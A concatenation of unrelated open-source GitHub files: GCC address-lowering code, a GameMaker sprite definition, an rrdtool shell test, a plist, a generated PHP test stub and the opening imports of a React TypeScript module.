/* Checks whether a TARGET_MEM_REF with type TYPE and parameters given by ADDR
is valid on the current target and if so, creates and returns the
TARGET_MEM_REF. If VERIFY is false omit the verification step. */
static tree
create_mem_ref_raw (tree type, tree alias_ptr_type, struct mem_address *addr,
bool verify)
{
tree base, index2;
if (verify
&& !valid_mem_ref_p (TYPE_MODE (type), TYPE_ADDR_SPACE (type), addr))
return NULL_TREE;
if (addr->step && integer_onep (addr->step))
addr->step = NULL_TREE;
if (addr->offset)
addr->offset = fold_convert (alias_ptr_type, addr->offset);
else
addr->offset = build_int_cst (alias_ptr_type, 0);
if (addr->symbol)
{
base = addr->symbol;
index2 = addr->base;
}
else if (addr->base
&& POINTER_TYPE_P (TREE_TYPE (addr->base)))
{
base = addr->base;
index2 = NULL_TREE;
}
else
{
base = build_int_cst (build_pointer_type (type), 0);
index2 = addr->base;
}
/* If possible use a plain MEM_REF instead of a TARGET_MEM_REF.
??? As IVOPTs does not follow restrictions to where the base
pointer may point to create a MEM_REF only if we know that
base is valid. */
if ((TREE_CODE (base) == ADDR_EXPR || TREE_CODE (base) == INTEGER_CST)
&& (!index2 || integer_zerop (index2))
&& (!addr->index || integer_zerop (addr->index)))
return fold_build2 (MEM_REF, type, base, addr->offset);
return build5 (TARGET_MEM_REF, type,
base, addr->offset, addr->index, addr->step, index2);
}
/* Returns true if OBJ is an object whose address is a link time constant. */
static bool
fixed_address_object_p (tree obj)
{
return (VAR_P (obj)
&& (TREE_STATIC (obj) || DECL_EXTERNAL (obj))
&& ! DECL_DLLIMPORT_P (obj));
}
/* If ADDR contains an address of object that is a link time constant,
move it to PARTS->symbol. */
void
move_fixed_address_to_symbol (struct mem_address *parts, aff_tree *addr)
{
unsigned i;
tree val = NULL_TREE;
for (i = 0; i < addr->n; i++)
{
if (addr->elts[i].coef != 1)
continue;
val = addr->elts[i].val;
if (TREE_CODE (val) == ADDR_EXPR
&& fixed_address_object_p (TREE_OPERAND (val, 0)))
break;
}
if (i == addr->n)
return;
parts->symbol = val;
aff_combination_remove_elt (addr, i);
}
/* Return true if ADDR contains an instance of BASE_HINT and it's moved to
PARTS->base. */
static bool
move_hint_to_base (tree type, struct mem_address *parts, tree base_hint,
aff_tree *addr)
{
unsigned i;
tree val = NULL_TREE;
int qual;
for (i = 0; i < addr->n; i++)
{
if (addr->elts[i].coef != 1)
continue;
val = addr->elts[i].val;
if (operand_equal_p (val, base_hint, 0))
break;
}
if (i == addr->n)
return false;
/* Cast value to appropriate pointer type. We cannot use a pointer
to TYPE directly, as the back-end will assume registers of pointer
type are aligned, and just the base itself may not actually be.
We use void pointer to the type's address space instead. */
qual = ENCODE_QUAL_ADDR_SPACE (TYPE_ADDR_SPACE (type));
type = build_qualified_type (void_type_node, qual);
parts->base = fold_convert (build_pointer_type (type), val);
aff_combination_remove_elt (addr, i);
return true;
}
/* If ADDR contains an address of a dereferenced pointer, move it to
PARTS->base. */
static void
move_pointer_to_base (struct mem_address *parts, aff_tree *addr)
{
unsigned i;
tree val = NULL_TREE;
for (i = 0; i < addr->n; i++)
{
if (addr->elts[i].coef != 1)
continue;
val = addr->elts[i].val;
if (POINTER_TYPE_P (TREE_TYPE (val)))
break;
}
if (i == addr->n)
return;
parts->base = val;
aff_combination_remove_elt (addr, i);
}
/* Moves the loop variant part V in linear address ADDR to be the index
of PARTS. */
static void
move_variant_to_index (struct mem_address *parts, aff_tree *addr, tree v)
{
unsigned i;
tree val = NULL_TREE;
gcc_assert (!parts->index);
for (i = 0; i < addr->n; i++)
{
val = addr->elts[i].val;
if (operand_equal_p (val, v, 0))
break;
}
if (i == addr->n)
return;
parts->index = fold_convert (sizetype, val);
parts->step = wide_int_to_tree (sizetype, addr->elts[i].coef);
aff_combination_remove_elt (addr, i);
}
/* Adds ELT to PARTS. */
static void
add_to_parts (struct mem_address *parts, tree elt)
{
tree type;
if (!parts->index)
{
parts->index = fold_convert (sizetype, elt);
return;
}
if (!parts->base)
{
parts->base = elt;
return;
}
/* Add ELT to base. */
type = TREE_TYPE (parts->base);
if (POINTER_TYPE_P (type))
parts->base = fold_build_pointer_plus (parts->base, elt);
else
parts->base = fold_build2 (PLUS_EXPR, type, parts->base, elt);
}
/* Returns true if multiplying by RATIO is allowed in an address. Test the
validity for a memory reference accessing memory of mode MODE in address
space AS. */
static bool
multiplier_allowed_in_address_p (HOST_WIDE_INT ratio, machine_mode mode,
addr_space_t as)
{
#define MAX_RATIO 128
unsigned int data_index = (int) as * MAX_MACHINE_MODE + (int) mode;
static vec<sbitmap> valid_mult_list;
sbitmap valid_mult;
if (data_index >= valid_mult_list.length ())
valid_mult_list.safe_grow_cleared (data_index + 1);
valid_mult = valid_mult_list[data_index];
if (!valid_mult)
{
machine_mode address_mode = targetm.addr_space.address_mode (as);
rtx reg1 = gen_raw_REG (address_mode, LAST_VIRTUAL_REGISTER + 1);
rtx reg2 = gen_raw_REG (address_mode, LAST_VIRTUAL_REGISTER + 2);
rtx addr, scaled;
HOST_WIDE_INT i;
valid_mult = sbitmap_alloc (2 * MAX_RATIO + 1);
bitmap_clear (valid_mult);
scaled = gen_rtx_fmt_ee (MULT, address_mode, reg1, NULL_RTX);
addr = gen_rtx_fmt_ee (PLUS, address_mode, scaled, reg2);
for (i = -MAX_RATIO; i <= MAX_RATIO; i++)
{
XEXP (scaled, 1) = gen_int_mode (i, address_mode);
if (memory_address_addr_space_p (mode, addr, as)
|| memory_address_addr_space_p (mode, scaled, as))
bitmap_set_bit (valid_mult, i + MAX_RATIO);
}
if (dump_file && (dump_flags & TDF_DETAILS))
{
fprintf (dump_file, " allowed multipliers:");
for (i = -MAX_RATIO; i <= MAX_RATIO; i++)
if (bitmap_bit_p (valid_mult, i + MAX_RATIO))
fprintf (dump_file, " %d", (int) i);
fprintf (dump_file, "\n");
fprintf (dump_file, "\n");
}
valid_mult_list[data_index] = valid_mult;
}
if (ratio > MAX_RATIO || ratio < -MAX_RATIO)
return false;
return bitmap_bit_p (valid_mult, ratio + MAX_RATIO);
}
/* Finds the most expensive multiplication in ADDR that can be
expressed in an addressing mode and move the corresponding
element(s) to PARTS. */
static void
most_expensive_mult_to_index (tree type, struct mem_address *parts,
aff_tree *addr, bool speed)
{
addr_space_t as = TYPE_ADDR_SPACE (type);
machine_mode address_mode = targetm.addr_space.address_mode (as);
HOST_WIDE_INT coef;
unsigned best_mult_cost = 0, acost;
tree mult_elt = NULL_TREE, elt;
unsigned i, j;
enum tree_code op_code;
offset_int best_mult = 0;
for (i = 0; i < addr->n; i++)
{
if (!wi::fits_shwi_p (addr->elts[i].coef))
continue;
coef = addr->elts[i].coef.to_shwi ();
if (coef == 1
|| !multiplier_allowed_in_address_p (coef, TYPE_MODE (type), as))
continue;
acost = mult_by_coeff_cost (coef, address_mode, speed);
if (acost > best_mult_cost)
{
best_mult_cost = acost;
best_mult = offset_int::from (addr->elts[i].coef, SIGNED);
}
}
if (!best_mult_cost)
return;
/* Collect elements multiplied by best_mult. */
for (i = j = 0; i < addr->n; i++)
{
offset_int amult = offset_int::from (addr->elts[i].coef, SIGNED);
offset_int amult_neg = -wi::sext (amult, TYPE_PRECISION (addr->type));
if (amult == best_mult)
op_code = PLUS_EXPR;
else if (amult_neg == best_mult)
op_code = MINUS_EXPR;
else
{
addr->elts[j] = addr->elts[i];
j++;
continue;
}
elt = fold_convert (sizetype, addr->elts[i].val);
if (mult_elt)
mult_elt = fold_build2 (op_code, sizetype, mult_elt, elt);
else if (op_code == PLUS_EXPR)
mult_elt = elt;
else
mult_elt = fold_build1 (NEGATE_EXPR, sizetype, elt);
}
addr->n = j;
parts->index = mult_elt;
parts->step = wide_int_to_tree (sizetype, best_mult);
}
/* Splits address ADDR for a memory access of type TYPE into PARTS.
If BASE_HINT is non-NULL, it specifies an SSA name to be used
preferentially as base of the reference, and IV_CAND is the selected
iv candidate used in ADDR. Store true to VAR_IN_BASE if variant
part of address is split to PARTS.base.
TODO -- be more clever about the distribution of the elements of ADDR
to PARTS. Some architectures do not support anything but single
register in address, possibly with a small integer offset; while
create_mem_ref will simplify the address to an acceptable shape
later, it would be more efficient to know that asking for complicated
addressing modes is useless. */
static void
addr_to_parts (tree type, aff_tree *addr, tree iv_cand, tree base_hint,
struct mem_address *parts, bool *var_in_base, bool speed)
{
tree part;
unsigned i;
parts->symbol = NULL_TREE;
parts->base = NULL_TREE;
parts->index = NULL_TREE;
parts->step = NULL_TREE;
if (maybe_ne (addr->offset, 0))
parts->offset = wide_int_to_tree (sizetype, addr->offset);
else
parts->offset = NULL_TREE;
/* Try to find a symbol. */
move_fixed_address_to_symbol (parts, addr);
/* Since at the moment there is no reliable way to know how to
distinguish between pointer and its offset, we decide if var
part is the pointer based on guess. */
*var_in_base = (base_hint != NULL && parts->symbol == NULL);
if (*var_in_base)
*var_in_base = move_hint_to_base (type, parts, base_hint, addr);
else
move_variant_to_index (parts, addr, iv_cand);
/* First move the most expensive feasible multiplication to index. */
if (!parts->index)
most_expensive_mult_to_index (type, parts, addr, speed);
/* Move pointer into base. */
if (!parts->symbol && !parts->base)
move_pointer_to_base (parts, addr);
/* Then try to process the remaining elements. */
for (i = 0; i < addr->n; i++)
{
part = fold_convert (sizetype, addr->elts[i].val);
if (addr->elts[i].coef != 1)
part = fold_build2 (MULT_EXPR, sizetype, part,
wide_int_to_tree (sizetype, addr->elts[i].coef));
add_to_parts (parts, part);
}
if (addr->rest)
add_to_parts (parts, fold_convert (sizetype, addr->rest));
}
/* Force the PARTS to register. */
static void
gimplify_mem_ref_parts (gimple_stmt_iterator *gsi, struct mem_address *parts)
{
if (parts->base)
parts->base = force_gimple_operand_gsi_1 (gsi, parts->base,
is_gimple_mem_ref_addr, NULL_TREE,
true, GSI_SAME_STMT);
if (parts->index)
parts->index = force_gimple_operand_gsi (gsi, parts->index,
true, NULL_TREE,
true, GSI_SAME_STMT);
}
/* Return true if the OFFSET in PARTS is the only thing that is making
it an invalid address for type TYPE. */
static bool
mem_ref_valid_without_offset_p (tree type, mem_address parts)
{
if (!parts.base)
parts.base = parts.offset;
parts.offset = NULL_TREE;
return valid_mem_ref_p (TYPE_MODE (type), TYPE_ADDR_SPACE (type), &parts);
}
/* Fold PARTS->offset into PARTS->base, so that there is no longer
a separate offset. Emit any new instructions before GSI. */
static void
add_offset_to_base (gimple_stmt_iterator *gsi, mem_address *parts)
{
tree tmp = parts->offset;
if (parts->base)
{
tmp = fold_build_pointer_plus (parts->base, tmp);
tmp = force_gimple_operand_gsi_1 (gsi, tmp, is_gimple_mem_ref_addr,
NULL_TREE, true, GSI_SAME_STMT);
}
parts->base = tmp;
parts->offset = NULL_TREE;
}
/* Creates and returns a TARGET_MEM_REF for address ADDR. If necessary
computations are emitted in front of GSI. TYPE is the mode
of created memory reference. IV_CAND is the selected iv candidate in ADDR,
and BASE_HINT is non NULL if IV_CAND comes from a base address
object. */
tree
create_mem_ref (gimple_stmt_iterator *gsi, tree type, aff_tree *addr,
tree alias_ptr_type, tree iv_cand, tree base_hint, bool speed)
{
bool var_in_base;
tree mem_ref, tmp;
struct mem_address parts;
addr_to_parts (type, addr, iv_cand, base_hint, &parts, &var_in_base, speed);
gimplify_mem_ref_parts (gsi, &parts);
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
/* The expression is too complicated. Try making it simpler. */
/* Merge symbol into other parts. */
if (parts.symbol)
{
tmp = parts.symbol;
parts.symbol = NULL_TREE;
gcc_assert (is_gimple_val (tmp));
if (parts.base)
{
gcc_assert (useless_type_conversion_p (sizetype,
TREE_TYPE (parts.base)));
if (parts.index)
{
/* Add the symbol to base, eventually forcing it to register. */
tmp = fold_build_pointer_plus (tmp, parts.base);
tmp = force_gimple_operand_gsi_1 (gsi, tmp,
is_gimple_mem_ref_addr,
NULL_TREE, true,
GSI_SAME_STMT);
}
else
{
/* Move base to index, then move the symbol to base. */
parts.index = parts.base;
}
parts.base = tmp;
}
else
parts.base = tmp;
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
}
/* Move multiplication to index by transforming address expression:
[... + index << step + ...]
into:
index' = index << step;
[... + index' + ,,,]. */
if (parts.step && !integer_onep (parts.step))
{
gcc_assert (parts.index);
if (parts.offset && mem_ref_valid_without_offset_p (type, parts))
{
add_offset_to_base (gsi, &parts);
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
gcc_assert (mem_ref);
return mem_ref;
}
parts.index = force_gimple_operand_gsi (gsi,
fold_build2 (MULT_EXPR, sizetype,
parts.index, parts.step),
true, NULL_TREE, true, GSI_SAME_STMT);
parts.step = NULL_TREE;
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
}
/* Add offset to invariant part by transforming address expression:
[base + index + offset]
into:
base' = base + offset;
[base' + index]
or:
index' = index + offset;
[base + index']
depending on which one is invariant. */
if (parts.offset && !integer_zerop (parts.offset))
{
tree old_base = unshare_expr (parts.base);
tree old_index = unshare_expr (parts.index);
tree old_offset = unshare_expr (parts.offset);
tmp = parts.offset;
parts.offset = NULL_TREE;
/* Add offset to invariant part. */
if (!var_in_base)
{
if (parts.base)
{
tmp = fold_build_pointer_plus (parts.base, tmp);
tmp = force_gimple_operand_gsi_1 (gsi, tmp,
is_gimple_mem_ref_addr,
NULL_TREE, true,
GSI_SAME_STMT);
}
parts.base = tmp;
}
else
{
if (parts.index)
{
tmp = fold_build_pointer_plus (parts.index, tmp);
tmp = force_gimple_operand_gsi_1 (gsi, tmp,
is_gimple_mem_ref_addr,
NULL_TREE, true,
GSI_SAME_STMT);
}
parts.index = tmp;
}
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
/* Restore parts.base, index and offset so that we can check if
[base + offset] addressing mode is supported in next step.
This is necessary for targets only support [base + offset],
but not [base + index] addressing mode. */
parts.base = old_base;
parts.index = old_index;
parts.offset = old_offset;
}
/* Transform [base + index + ...] into:
base' = base + index;
[base' + ...]. */
if (parts.index)
{
tmp = parts.index;
parts.index = NULL_TREE;
/* Add index to base. */
if (parts.base)
{
tmp = fold_build_pointer_plus (parts.base, tmp);
tmp = force_gimple_operand_gsi_1 (gsi, tmp,
is_gimple_mem_ref_addr,
NULL_TREE, true, GSI_SAME_STMT);
}
parts.base = tmp;
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
}
/* Transform [base + offset] into:
base' = base + offset;
[base']. */
if (parts.offset && !integer_zerop (parts.offset))
{
add_offset_to_base (gsi, &parts);
mem_ref = create_mem_ref_raw (type, alias_ptr_type, &parts, true);
if (mem_ref)
return mem_ref;
}
/* Verify that the address is in the simplest possible shape
(only a register). If we cannot create such a memory reference,
something is really wrong. */
gcc_assert (parts.symbol == NULL_TREE);
gcc_assert (parts.index == NULL_TREE);
gcc_assert (!parts.step || integer_onep (parts.step));
gcc_assert (!parts.offset || integer_zerop (parts.offset));
gcc_unreachable ();
}
/* Copies components of the address from OP to ADDR. */
void
get_address_description (tree op, struct mem_address *addr)
{
if (TREE_CODE (TMR_BASE (op)) == ADDR_EXPR)
{
addr->symbol = TMR_BASE (op);
addr->base = TMR_INDEX2 (op);
}
else
{
addr->symbol = NULL_TREE;
if (TMR_INDEX2 (op))
{
gcc_assert (integer_zerop (TMR_BASE (op)));
addr->base = TMR_INDEX2 (op);
}
else
addr->base = TMR_BASE (op);
}
addr->index = TMR_INDEX (op);
addr->step = TMR_STEP (op);
addr->offset = TMR_OFFSET (op);
}
/* Copies the reference information from OLD_REF to NEW_REF, where
NEW_REF should be either a MEM_REF or a TARGET_MEM_REF. */
void
copy_ref_info (tree new_ref, tree old_ref)
{
tree new_ptr_base = NULL_TREE;
gcc_assert (TREE_CODE (new_ref) == MEM_REF
|| TREE_CODE (new_ref) == TARGET_MEM_REF);
TREE_SIDE_EFFECTS (new_ref) = TREE_SIDE_EFFECTS (old_ref);
TREE_THIS_VOLATILE (new_ref) = TREE_THIS_VOLATILE (old_ref);
new_ptr_base = TREE_OPERAND (new_ref, 0);
/* We can transfer points-to information from an old pointer
or decl base to the new one. */
if (new_ptr_base
&& TREE_CODE (new_ptr_base) == SSA_NAME
&& !SSA_NAME_PTR_INFO (new_ptr_base))
{
tree base = get_base_address (old_ref);
if (!base)
;
else if ((TREE_CODE (base) == MEM_REF
|| TREE_CODE (base) == TARGET_MEM_REF)
&& TREE_CODE (TREE_OPERAND (base, 0)) == SSA_NAME
&& SSA_NAME_PTR_INFO (TREE_OPERAND (base, 0)))
{
struct ptr_info_def *new_pi;
unsigned int align, misalign;
duplicate_ssa_name_ptr_info
(new_ptr_base, SSA_NAME_PTR_INFO (TREE_OPERAND (base, 0)));
new_pi = SSA_NAME_PTR_INFO (new_ptr_base);
/* We have to be careful about transferring alignment information. */
if (get_ptr_info_alignment (new_pi, &align, &misalign)
&& TREE_CODE (old_ref) == MEM_REF
&& !(TREE_CODE (new_ref) == TARGET_MEM_REF
&& (TMR_INDEX2 (new_ref)
/* TODO: Below conditions can be relaxed if TMR_INDEX
is an indcution variable and its initial value and
step are aligned. */
|| (TMR_INDEX (new_ref) && !TMR_STEP (new_ref))
|| (TMR_STEP (new_ref)
&& (TREE_INT_CST_LOW (TMR_STEP (new_ref))
< align)))))
{
poly_uint64 inc = (mem_ref_offset (old_ref)
- mem_ref_offset (new_ref)).force_uhwi ();
adjust_ptr_info_misalignment (new_pi, inc);
}
else
mark_ptr_info_alignment_unknown (new_pi);
}
else if (VAR_P (base)
|| TREE_CODE (base) == PARM_DECL
|| TREE_CODE (base) == RESULT_DECL)
{
struct ptr_info_def *pi = get_ptr_info (new_ptr_base);
pt_solution_set_var (&pi->pt, base);
}
}
}
/* Move constants in target_mem_ref REF to offset. Returns the new target
mem ref if anything changes, NULL_TREE otherwise. */
tree
maybe_fold_tmr (tree ref)
{
struct mem_address addr;
bool changed = false;
tree new_ref, off;
get_address_description (ref, &addr);
if (addr.base
&& TREE_CODE (addr.base) == INTEGER_CST
&& !integer_zerop (addr.base))
{
addr.offset = fold_binary_to_constant (PLUS_EXPR,
TREE_TYPE (addr.offset),
addr.offset, addr.base);
addr.base = NULL_TREE;
changed = true;
}
if (addr.symbol
&& TREE_CODE (TREE_OPERAND (addr.symbol, 0)) == MEM_REF)
{
addr.offset = fold_binary_to_constant
(PLUS_EXPR, TREE_TYPE (addr.offset),
addr.offset,
TREE_OPERAND (TREE_OPERAND (addr.symbol, 0), 1));
addr.symbol = TREE_OPERAND (TREE_OPERAND (addr.symbol, 0), 0);
changed = true;
}
else if (addr.symbol
&& handled_component_p (TREE_OPERAND (addr.symbol, 0)))
{
poly_int64 offset;
addr.symbol = build_fold_addr_expr
(get_addr_base_and_unit_offset
(TREE_OPERAND (addr.symbol, 0), &offset));
addr.offset = int_const_binop (PLUS_EXPR,
addr.offset, size_int (offset));
changed = true;
}
if (addr.index && TREE_CODE (addr.index) == INTEGER_CST)
{
off = addr.index;
if (addr.step)
{
off = fold_binary_to_constant (MULT_EXPR, sizetype,
off, addr.step);
addr.step = NULL_TREE;
}
addr.offset = fold_binary_to_constant (PLUS_EXPR,
TREE_TYPE (addr.offset),
addr.offset, off);
addr.index = NULL_TREE;
changed = true;
}
if (!changed)
return NULL_TREE;
/* If we have propagated something into this TARGET_MEM_REF and thus
ended up folding it, always create a new TARGET_MEM_REF regardless
if it is valid in this for on the target - the propagation result
wouldn't be anyway. */
new_ref = create_mem_ref_raw (TREE_TYPE (ref),
TREE_TYPE (addr.offset), &addr, false);
TREE_SIDE_EFFECTS (new_ref) = TREE_SIDE_EFFECTS (ref);
TREE_THIS_VOLATILE (new_ref) = TREE_THIS_VOLATILE (ref);
return new_ref;
}
/* Dump PARTS to FILE. */
extern void dump_mem_address (FILE *, struct mem_address *);
void
dump_mem_address (FILE *file, struct mem_address *parts)
{
if (parts->symbol)
{
fprintf (file, "symbol: ");
print_generic_expr (file, TREE_OPERAND (parts->symbol, 0), TDF_SLIM);
fprintf (file, "\n");
}
if (parts->base)
{
fprintf (file, "base: ");
print_generic_expr (file, parts->base, TDF_SLIM);
fprintf (file, "\n");
}
if (parts->index)
{
fprintf (file, "index: ");
print_generic_expr (file, parts->index, TDF_SLIM);
fprintf (file, "\n");
}
if (parts->step)
{
fprintf (file, "step: ");
print_generic_expr (file, parts->step, TDF_SLIM);
fprintf (file, "\n");
}
if (parts->offset)
{
fprintf (file, "offset: ");
print_generic_expr (file, parts->offset, TDF_SLIM);
fprintf (file, "\n");
}
}
#include "gt-tree-ssa-address.h"
| {
"pile_set_name": "Github"
} |
{
"id": "70a78bf5-b41d-437c-9a06-a9c3ce4529b1",
"modelName": "GMSprite",
"mvc": "1.12",
"name": "spr_menu_button",
"For3D": false,
"HTile": false,
"VTile": false,
"bbox_bottom": 45,
"bbox_left": 0,
"bbox_right": 512,
"bbox_top": 0,
"bboxmode": 0,
"colkind": 1,
"coltolerance": 0,
"edgeFiltering": false,
"frames": [
{
"id": "dcc1a6ca-27df-422b-84a2-232ac02ca198",
"modelName": "GMSpriteFrame",
"mvc": "1.0",
"SpriteId": "70a78bf5-b41d-437c-9a06-a9c3ce4529b1",
"compositeImage": {
"id": "b8c5fa0f-86d9-4191-b497-15e7c4ca1144",
"modelName": "GMSpriteImage",
"mvc": "1.0",
"FrameId": "dcc1a6ca-27df-422b-84a2-232ac02ca198",
"LayerId": "00000000-0000-0000-0000-000000000000"
},
"images": [
{
"id": "8d864324-de99-4831-89e0-292afa6374a5",
"modelName": "GMSpriteImage",
"mvc": "1.0",
"FrameId": "dcc1a6ca-27df-422b-84a2-232ac02ca198",
"LayerId": "735799fa-0f2f-45a2-980b-b774a33a27c7"
}
]
},
{
"id": "b243c713-0860-4d42-af10-b46483f5a264",
"modelName": "GMSpriteFrame",
"mvc": "1.0",
"SpriteId": "70a78bf5-b41d-437c-9a06-a9c3ce4529b1",
"compositeImage": {
"id": "3ca08cef-d9e3-4ffd-843d-160f512a4125",
"modelName": "GMSpriteImage",
"mvc": "1.0",
"FrameId": "b243c713-0860-4d42-af10-b46483f5a264",
"LayerId": "00000000-0000-0000-0000-000000000000"
},
"images": [
{
"id": "4791a4e9-1120-49c7-8c71-11927021ea87",
"modelName": "GMSpriteImage",
"mvc": "1.0",
"FrameId": "b243c713-0860-4d42-af10-b46483f5a264",
"LayerId": "735799fa-0f2f-45a2-980b-b774a33a27c7"
}
]
}
],
"gridX": 0,
"gridY": 0,
"height": 46,
"layers": [
{
"id": "735799fa-0f2f-45a2-980b-b774a33a27c7",
"modelName": "GMImageLayer",
"mvc": "1.0",
"SpriteId": "70a78bf5-b41d-437c-9a06-a9c3ce4529b1",
"blendMode": 0,
"isLocked": false,
"name": "default",
"opacity": 100,
"visible": true
}
],
"origin": 0,
"originLocked": false,
"playbackSpeed": 1,
"playbackSpeedType": 1,
"premultiplyAlpha": false,
"sepmasks": false,
"swatchColours": null,
"swfPrecision": 2.525,
"textureGroupId": "112558b0-2267-4f6c-9c8c-b4c5629254da",
"type": 0,
"width": 513,
"xorig": 256,
"yorig": 23
} | {
"pile_set_name": "Github"
} |
// Messages for Uzbek (oʻzbekcha/ўзбекча)
// Exported from translatewiki.net
// Author: 6ahodir
// Author: Таржимон
"CFBundleDisplayName" = "Vikipediya";
| {
"pile_set_name": "Github"
} |
#!/bin/bash
. $(dirname $0)/functions
BASE=$BASEDIR/$(basename $0)-test
PREFIX=$BUILDDIR/$(basename $0)-test
# currently, we do not properly copy cdp and pdp information, so for
# comparison of RRD dumps, we just filter out those parts we do not
# expect to match anyway...
function cpd_prep_filter {
#- <last_ds>1010</last_ds>
#- <value>4.0400000000e+04</value>
#- <unknown_sec> 0 </unknown_sec>
#+ <last_ds>U</last_ds>
#+ <value>0.0000000000e+00</value>
#+ <unknown_sec> 40 </unknown_sec>
perl -n -e '$a=join("",<>); $a=~s,<(cdp_prep).*?</\1>,,msg ; print $a'
}
# create 2 RRDs only differing in the way that the second contains an additional RRA
# test: remove the additional RRA from the second and compare dumps
# test: add the additional RRA to the first and compare dumps
rm -f ${PREFIX}*.rrd ${PREFIX}*.xml
ST=1300000000
$RRDTOOL create ${PREFIX}a1.rrd --start $(($ST-1)) --step 60 DS:a:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
report create1
UPDATE=
V=10
for A in $(seq $ST 60 $(($ST + 3000)) ) ; do
UPDATE="$UPDATE $A:$V"
V=$(($V + 20))
ST=$A
done
$RRDTOOL update ${PREFIX}a1.rrd $UPDATE
$RRDTOOL create ${PREFIX}a2.rrd --start $ST --step 60 --source ${PREFIX}a1.rrd DS:a:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
report create-with-source-1
[ -f ${PREFIX}a2.rrd ] || fail "file is missing!!"
$RRDTOOL dump ${PREFIX}a1.rrd > ${PREFIX}a1.xml
$RRDTOOL dump ${PREFIX}a2.rrd > ${PREFIX}a2.xml
$DIFF ${PREFIX}a1.xml ${PREFIX}a2.xml
report data-match
$RRDTOOL create ${PREFIX}a3.rrd --start $ST --step 60 --source ${PREFIX}a2.rrd DS:a:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
$RRDTOOL dump ${PREFIX}a3.rrd > ${PREFIX}a3.xml
$DIFF ${PREFIX}a1.xml ${PREFIX}a3.xml
report data-match-again
$RRDTOOL create ${PREFIX}a4.rrd --start $ST --step 60 --source ${PREFIX}a2.rrd DS:b:GAUGE:120:0:U DS:a:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
report create-with-source-effectively-adding-DS
UPDATE=
ST=$(($ST + 60))
for A in $(seq $ST 60 $(($ST + 3000)) ) ; do
UPDATE="$UPDATE $A:$V:$((2 * $V))"
V=$(($V + 20))
ST=$A
done
$RRDTOOL update ${PREFIX}a4.rrd --template a:b $UPDATE
report update-with-two-data-sources
# now swap the two data sources
$RRDTOOL create ${PREFIX}a5.rrd --start $ST --step 60 --source ${PREFIX}a4.rrd DS:a:GAUGE:120:0:U DS:b:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
# and swap the two data sources back, so we can then compare the outputs....
$RRDTOOL create ${PREFIX}a6.rrd --start $ST --step 60 --source ${PREFIX}a5.rrd DS:b:GAUGE:120:0:U DS:a:GAUGE:120:0:U RRA:AVERAGE:0.5:1:100 RRA:AVERAGE:0.5:5:2 RRA:MIN:0.5:5:2 RRA:MAX:0.5:5:2 RRA:LAST:0.5:5:2
# now a4 and a6 must match....
$RRDTOOL dump ${PREFIX}a4.rrd > ${PREFIX}a4.xml
$RRDTOOL dump ${PREFIX}a6.rrd > ${PREFIX}a6.xml
$DIFF ${PREFIX}a4.xml ${PREFIX}a6.xml
report data-match-after-swap
rm -f ${PREFIX}*.rrd ${PREFIX}*.xml
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>metadata</key>
<dict>
<key>version</key>
<integer>1</integer>
</dict>
<key>spriteFrameFiles</key>
<array>
<string>smileys.plist</string>
</array>
</dict>
</plist>
| {
"pile_set_name": "Github"
} |
<?php
/**
* InlineObjectTest
*
* PHP version 5
*
* @category Class
* @package OpenAPI\Server\Tests\Model
* @author openapi-generator contributors
* @link https://github.com/openapitools/openapi-generator
*/
/**
* OpenAPI Petstore
*
* This is a sample server Petstore server. For this sample, you can use the api key `special-key` to test the authorization filters.
*
* The version of the OpenAPI document: 1.0.0
*
* Generated by: https://github.com/openapitools/openapi-generator.git
*
*/
/**
* NOTE: This class is auto generated by the openapi generator program.
* https://github.com/openapitools/openapi-generator
* Please update the test case below to test the model.
*/
namespace OpenAPI\Server\Model;
/**
* InlineObjectTest Class Doc Comment
*
* @category Class */
// * @description InlineObject
/**
* @package OpenAPI\Server\Tests\Model
* @author openapi-generator contributors
* @link https://github.com/openapitools/openapi-generator
*/
class InlineObjectTest extends \PHPUnit_Framework_TestCase
{
/**
* Setup before running any test case
*/
public static function setUpBeforeClass()
{
}
/**
* Setup before running each test case
*/
public function setUp()
{
}
/**
* Clean up after running each test case
*/
public function tearDown()
{
}
/**
* Clean up after running all test cases
*/
public static function tearDownAfterClass()
{
}
/**
* Test "InlineObject"
*/
public function testInlineObject()
{
$testInlineObject = new InlineObject();
}
/**
* Test attribute "name"
*/
public function testPropertyName()
{
}
/**
* Test attribute "status"
*/
public function testPropertyStatus()
{
}
}
| {
"pile_set_name": "Github"
} |
import * as React from 'react';
import { isNil, find, propEq, any, invertObj, path } from 'ramda';
import { makeStyles } from '@material-ui/core';
import DetailsTab from './Details';
import {
labelDetails,
labelGraph,
labelTimeline,
labelShortcuts,
labelServices,
} from '../../translatedLabels';
import GraphTab from './Graph';
import { ResourceDetails } from '../models';
import { Tab, TabId } from './models';
import TimelineTab from './Timeline';
import ShortcutsTab from './Shortcuts';
import hasDefinedValues from '../../hasDefinedValues';
import ServicesTab from './Services';
